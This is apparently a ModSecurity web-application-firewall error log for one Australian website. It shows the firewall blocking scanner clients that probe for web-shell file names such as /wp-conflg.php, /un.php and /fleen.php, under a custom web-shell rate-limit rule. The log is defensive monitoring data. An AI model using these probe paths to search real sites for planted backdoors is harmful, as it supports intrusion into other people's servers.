[Sun Mar 01 16:00:48.570944 2026] [:error] [pid 38241:tid 38250] [client 4.204.200.32:17933] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-conflg.php"] [unique_id "aaPyMPKRPk6YnJBxw_xfqAAAAMY"]
[Sun Mar 01 16:00:48.986005 2026] [:error] [pid 38034:tid 38045] [client 4.204.200.32:17971] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaPyMAxtfZjwlJok9K_MxgAAAQc"]
[Sun Mar 01 16:00:49.411163 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:17865] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaPyMQxtfZjwlJok9K_MyAAAAQw"]
[Sun Mar 01 16:00:49.823002 2026] [:error] [pid 38241:tid 38266] [client 4.204.200.32:17906] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaPyMfKRPk6YnJBxw_xfqgAAANY"]
[Sun Mar 01 16:00:50.246312 2026] [:error] [pid 41780:tid 41807] [client 4.204.200.32:18033] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaPyMsONkVoocLIqzy0TaAAAA9g"]
[Sun Mar 01 16:00:50.660308 2026] [:error] [pid 38241:tid 38250] [client 4.204.200.32:18043] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaPyMvKRPk6YnJBxw_xfrwAAAMY"]
[Sun Mar 01 16:00:51.078587 2026] [:error] [pid 7165:tid 7179] [client 4.204.200.32:17874] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaPyMxRjCrA8qWBjgG82UgAAAkw"]
[Sun Mar 01 16:00:51.492004 2026] [:error] [pid 44644:tid 44661] [client 4.204.200.32:17937] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaPyM53RJaXMcw3y9V-0gwAAAA4"]
[Sun Mar 01 16:00:51.949586 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18037] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.kb.php"] [unique_id "aaPyM_KRPk6YnJBxw_xftQAAAMk"]
[Sun Mar 01 16:00:52.367104 2026] [:error] [pid 7165:tid 7180] [client 4.204.200.32:18005] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaPyNBRjCrA8qWBjgG82VAAAAk0"]
[Sun Mar 01 16:00:52.784297 2026] [:error] [pid 38034:tid 38036] [client 4.204.200.32:17960] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaPyNAxtfZjwlJok9K_M1AAAAQA"]
[Sun Mar 01 16:00:53.201293 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18072] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaPyNfKRPk6YnJBxw_xftwAAAMw"]
[Sun Mar 01 16:00:53.623438 2026] [:error] [pid 38241:tid 38255] [client 4.204.200.32:18039] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaPyNfKRPk6YnJBxw_xfuAAAAMs"]
[Sun Mar 01 16:39:12.480774 2026] [:error] [pid 40750:tid 40768] [client 43.153.123.4:43190] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaP7MAfBuk03yQKDyqvtWQAAAc8"]
[Sun Mar 01 17:18:27.278253 2026] [:error] [pid 38241:tid 38261] [client 20.151.2.242:62840] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/tt.php"] [unique_id "aaQEY_KRPk6YnJBxw_yPZwAAANE"]
[Sun Mar 01 17:18:28.141235 2026] [:error] [pid 40750:tid 40761] [client 20.151.2.242:63217] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/tt.php"] [unique_id "aaQEZAfBuk03yQKDyqseCwAAAcg"]
[Sun Mar 01 17:18:29.070069 2026] [:error] [pid 38241:tid 38264] [client 20.151.2.242:63148] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/tt.php"] [unique_id "aaQEZfKRPk6YnJBxw_yPdwAAANQ"]
[Sun Mar 01 17:18:29.920423 2026] [:error] [pid 44644:tid 44661] [client 20.151.2.242:62553] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/tt.php"] [unique_id "aaQEZZ3RJaXMcw3y9V_DDwAAAA4"]
[Sun Mar 01 17:18:30.131267 2026] [:error] [pid 40750:tid 40765] [client 20.151.2.242:63196] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaQEZgfBuk03yQKDyqseKgAAAcw"]
[Sun Mar 01 17:18:30.606777 2026] [:error] [pid 7165:tid 7188] [client 20.151.2.242:62553] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaQEZhRjCrA8qWBjgG90AQAAAlU"]
[Sun Mar 01 17:18:31.086077 2026] [:error] [pid 38241:tid 38267] [client 20.151.2.242:62841] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaQEZ_KRPk6YnJBxw_yPhQAAANc"]
[Sun Mar 01 17:18:31.517934 2026] [:error] [pid 40750:tid 40759] [client 20.151.2.242:63183] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaQEZwfBuk03yQKDyqseQQAAAcY"]
[Sun Mar 01 17:18:31.955050 2026] [:error] [pid 40750:tid 40774] [client 20.151.2.242:62788] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaQEZwfBuk03yQKDyqseSgAAAdU"]
[Sun Mar 01 17:18:32.441312 2026] [:error] [pid 38241:tid 38250] [client 20.151.2.242:63142] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaQEaPKRPk6YnJBxw_yPiAAAAMY"]
[Sun Mar 01 17:18:32.904058 2026] [:error] [pid 7165:tid 7175] [client 20.151.2.242:62734] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaQEaBRjCrA8qWBjgG90CAAAAkg"]
[Sun Mar 01 17:18:33.374185 2026] [:error] [pid 7165:tid 7183] [client 20.151.2.242:63125] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaQEaRRjCrA8qWBjgG90DgAAAlA"]
[Sun Mar 01 17:18:33.827458 2026] [:error] [pid 38034:tid 38043] [client 20.151.2.242:63212] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaQEaQxtfZjwlJok9K_ldgAAAQU"]
[Sun Mar 01 17:18:34.434760 2026] [:error] [pid 7165:tid 7187] [client 20.151.2.242:62797] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaQEahRjCrA8qWBjgG90FQAAAlQ"]
[Sun Mar 01 17:18:34.946463 2026] [:error] [pid 7165:tid 7174] [client 20.151.2.242:62727] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaQEahRjCrA8qWBjgG90HAAAAkc"]
[Sun Mar 01 17:18:35.391713 2026] [:error] [pid 7165:tid 7185] [client 20.151.2.242:62759] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaQEaxRjCrA8qWBjgG90HQAAAlI"]
[Sun Mar 01 17:18:35.836462 2026] [:error] [pid 38241:tid 38256] [client 20.151.2.242:62754] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaQEa_KRPk6YnJBxw_yPkAAAAMw"]
[Sun Mar 01 17:18:36.272078 2026] [:error] [pid 7165:tid 7184] [client 20.151.2.242:63128] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaQEbBRjCrA8qWBjgG90JQAAAlE"]
[Sun Mar 01 17:18:36.723459 2026] [:error] [pid 7165:tid 7176] [client 20.151.2.242:62781] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaQEbBRjCrA8qWBjgG90JwAAAkk"]
[Sun Mar 01 17:18:37.185084 2026] [:error] [pid 38241:tid 38250] [client 20.151.2.242:62544] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaQEbfKRPk6YnJBxw_yPmgAAAMY"]
[Sun Mar 01 17:18:37.671621 2026] [:error] [pid 7165:tid 7175] [client 20.151.2.242:62745] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av6m.php"] [unique_id "aaQEbRRjCrA8qWBjgG90KQAAAkg"]
[Sun Mar 01 17:18:38.173444 2026] [:error] [pid 7133:tid 7157] [client 20.151.2.242:63119] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av6m.php"] [unique_id "aaQEbvCtubh8pR64qB_nPAAAAFY"]
[Sun Mar 01 17:18:38.655634 2026] [:error] [pid 38034:tid 38061] [client 20.151.2.242:62530] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av6m.php"] [unique_id "aaQEbgxtfZjwlJok9K_lgAAAARc"]
[Sun Mar 01 17:18:39.165616 2026] [:error] [pid 7165:tid 7178] [client 20.151.2.242:62769] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av6m.php"] [unique_id "aaQEbxRjCrA8qWBjgG90LwAAAks"]
[Sun Mar 01 17:18:39.585611 2026] [:error] [pid 40750:tid 40775] [client 20.151.2.242:63217] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaQEbwfBuk03yQKDyqseeAAAAdY"]
[Sun Mar 01 17:18:40.001017 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:62830] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaQEcAfBuk03yQKDyqseegAAAdM"]
[Sun Mar 01 17:18:40.590158 2026] [:error] [pid 7165:tid 7176] [client 20.151.2.242:63161] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaQEcBRjCrA8qWBjgG90OAAAAkk"]
[Sun Mar 01 17:18:41.006960 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:63167] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaQEcQfBuk03yQKDyqsehAAAAdg"]
[Sun Mar 01 17:18:41.445517 2026] [:error] [pid 40750:tid 40762] [client 20.151.2.242:62783] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaQEcQfBuk03yQKDyqseiwAAAck"]
[Sun Mar 01 17:18:41.866681 2026] [:error] [pid 40750:tid 40773] [client 20.151.2.242:63157] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaQEcQfBuk03yQKDyqsejQAAAdQ"]
[Sun Mar 01 17:18:42.342036 2026] [:error] [pid 40750:tid 40757] [client 20.151.2.242:63115] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaQEcgfBuk03yQKDyqsekgAAAcQ"]
[Sun Mar 01 17:18:42.815912 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:62799] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaQEcgfBuk03yQKDyqselgAAAdg"]
[Sun Mar 01 17:18:43.291922 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:63121] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaQEcwfBuk03yQKDyqsemwAAAco"]
[Sun Mar 01 17:18:43.710044 2026] [:error] [pid 40750:tid 40753] [client 20.151.2.242:62755] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaQEcwfBuk03yQKDyqseoAAAAcA"]
[Sun Mar 01 17:18:44.135711 2026] [:error] [pid 7133:tid 7145] [client 20.151.2.242:62743] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaQEdPCtubh8pR64qB_nRAAAAEo"]
[Sun Mar 01 17:18:44.574264 2026] [:error] [pid 7165:tid 7184] [client 20.151.2.242:63147] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaQEdBRjCrA8qWBjgG90UQAAAlE"]
[Sun Mar 01 17:18:45.006264 2026] [:error] [pid 33822:tid 33843] [client 20.151.2.242:63148] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaQEdW6W3ygu1YVssubduAAAApM"]
[Sun Mar 01 17:18:45.440992 2026] [:error] [pid 40750:tid 40770] [client 20.151.2.242:62844] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaQEdQfBuk03yQKDyqseqQAAAdE"]
[Sun Mar 01 17:18:45.856020 2026] [:error] [pid 37032:tid 37052] [client 20.151.2.242:62725] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaQEdeu0U4o7eSImsVReowAAAZI"]
[Sun Mar 01 17:18:46.361787 2026] [:error] [pid 38241:tid 38265] [client 20.151.2.242:62787] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaQEdvKRPk6YnJBxw_yPswAAANU"]
[Sun Mar 01 17:18:46.834026 2026] [:error] [pid 38241:tid 38262] [client 20.151.2.242:63231] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaQEdvKRPk6YnJBxw_yPuwAAANI"]
